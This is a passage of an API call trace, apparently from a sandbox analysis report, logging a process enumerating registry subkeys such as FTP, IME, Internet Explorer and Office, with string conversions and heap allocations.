lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.906] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x22fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0025.906] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.906] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.906] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.906] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.906] RegEnumKeyW (in: hKey=0x120, dwIndex=0xc, lpName=0x21d9d18, cchName=0x104 | out: lpName="FTP") returned 0x0 [0025.906] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.906] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0x22fc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ftp", lpUsedDefaultChar=0x0) returned 3 [0025.906] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.906] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.906] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.907] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.907] RegEnumKeyW (in: hKey=0x120, dwIndex=0xd, lpName=0x21d9d18, cchName=0x104 | out: lpName="GDIPlus") returned 0x0 [0025.907] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.907] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gdiplus", lpUsedDefaultChar=0x0) returned 7 [0025.907] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.907] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.907] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.907] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.907] RegEnumKeyW (in: hKey=0x120, dwIndex=0xe, lpName=0x21d9d18, cchName=0x104 | out: lpName="IAM") returned 0x0 [0025.907] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.907] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0x22fc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iam", lpUsedDefaultChar=0x0) returned 3 [0025.907] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.907] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.907] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.907] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.907] RegEnumKeyW (in: hKey=0x120, dwIndex=0xf, lpName=0x21d9d18, cchName=0x104 | out: lpName="IME") returned 0x0 [0025.907] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.907] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0025.907] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.907] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.907] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.907] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.907] RegEnumKeyW (in: hKey=0x120, dwIndex=0x10, lpName=0x21d9d18, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0025.907] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.907] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x22fc240, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0025.908] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.908] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.908] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.908] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.908] RegEnumKeyW (in: hKey=0x120, dwIndex=0x11, lpName=0x21d9d18, cchName=0x104 | out: lpName="IMEMIP") returned 0x0 [0025.908] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.908] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0x22fc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imemip", lpUsedDefaultChar=0x0) returned 6 [0025.908] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.908] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.908] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.908] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.908] RegEnumKeyW (in: hKey=0x120, dwIndex=0x12, lpName=0x21d9d18, cchName=0x104 | out: lpName="Internet Connection Wizard") returned 0x0 [0025.908] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0025.908] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0x22fc240, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet connection wizard", lpUsedDefaultChar=0x0) returned 26 [0025.908] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.908] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.908] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.908] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.908] RegEnumKeyW (in: hKey=0x120, dwIndex=0x13, lpName=0x21d9d18, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0025.908] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.908] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x22fc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0025.908] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.908] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.908] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.908] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.908] RegEnumKeyW (in: hKey=0x120, dwIndex=0x14, lpName=0x21d9d18, cchName=0x104 | out: lpName="Internet Mail and News") returned 0x0 [0025.908] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0025.909] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0x22fc240, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet mail and news", lpUsedDefaultChar=0x0) returned 22 [0025.909] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.909] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.909] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.909] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.909] RegEnumKeyW (in: hKey=0x120, dwIndex=0x15, lpName=0x21d9d18, cchName=0x104 | out: lpName="Java VM") returned 0x0 [0025.909] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.909] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="java vm", lpUsedDefaultChar=0x0) returned 7 [0025.909] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.909] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.909] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.909] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.909] RegEnumKeyW (in: hKey=0x120, dwIndex=0x16, lpName=0x21d9d18, cchName=0x104 | out: lpName="Keyboard") returned 0x0 [0025.909] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.909] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0x22fc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard", lpUsedDefaultChar=0x0) returned 8 [0025.909] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.909] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.909] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.909] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.909] RegEnumKeyW (in: hKey=0x120, dwIndex=0x17, lpName=0x21d9d18, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0025.909] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.909] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x22fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0025.909] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.909] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.909] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.909] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.910] RegEnumKeyW (in: hKey=0x120, dwIndex=0x18, lpName=0x21d9d18, cchName=0x104 | out: lpName="Microsoft Management Console") returned 0x0 [0025.910] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0025.910] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0x22fc240, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft management console", lpUsedDefaultChar=0x0) returned 28 [0025.910] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.910] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.910] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.910] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.910] RegEnumKeyW (in: hKey=0x120, dwIndex=0x19, lpName=0x21d9d18, cchName=0x104 | out: lpName="MS Design Tools") returned 0x0 [0025.910] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0025.910] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0x22fc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms design tools", lpUsedDefaultChar=0x0) returned 15 [0025.910] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.910] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.910] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.910] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.910] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1a, lpName=0x21d9d18, cchName=0x104 | out: lpName="MSDAIPP") returned 0x0 [0025.910] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.910] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0x22fc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdaipp", lpUsedDefaultChar=0x0) returned 7 [0025.910] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.910] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.910] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.910] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.910] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1b, lpName=0x21d9d18, cchName=0x104 | out: lpName="MSF") returned 0x0 [0025.910] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.910] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0025.910] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.911] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.911] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.911] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.911] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1c, lpName=0x21d9d18, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0025.911] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.911] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x22fc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0025.911] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.911] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.911] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.911] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.911] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1d, lpName=0x21d9d18, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0025.911] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.911] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0025.911] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.911] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.911] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.911] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.911] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1e, lpName=0x21d9d18, cchName=0x104 | out: lpName="Office") returned 0x0 [0025.911] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.911] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x22fc240, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0025.911] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.911] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.911] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.911] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.911] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1f, lpName=0x21d9d18, cchName=0x104 | out: lpName="PeerNet") returned 0x0 [0025.911] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.912] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="peernet", lpUsedDefaultChar=0x0) returned 7 [0025.912] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.912] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.912] RtlFreeHeap (HeapHandle=0x22f0000, 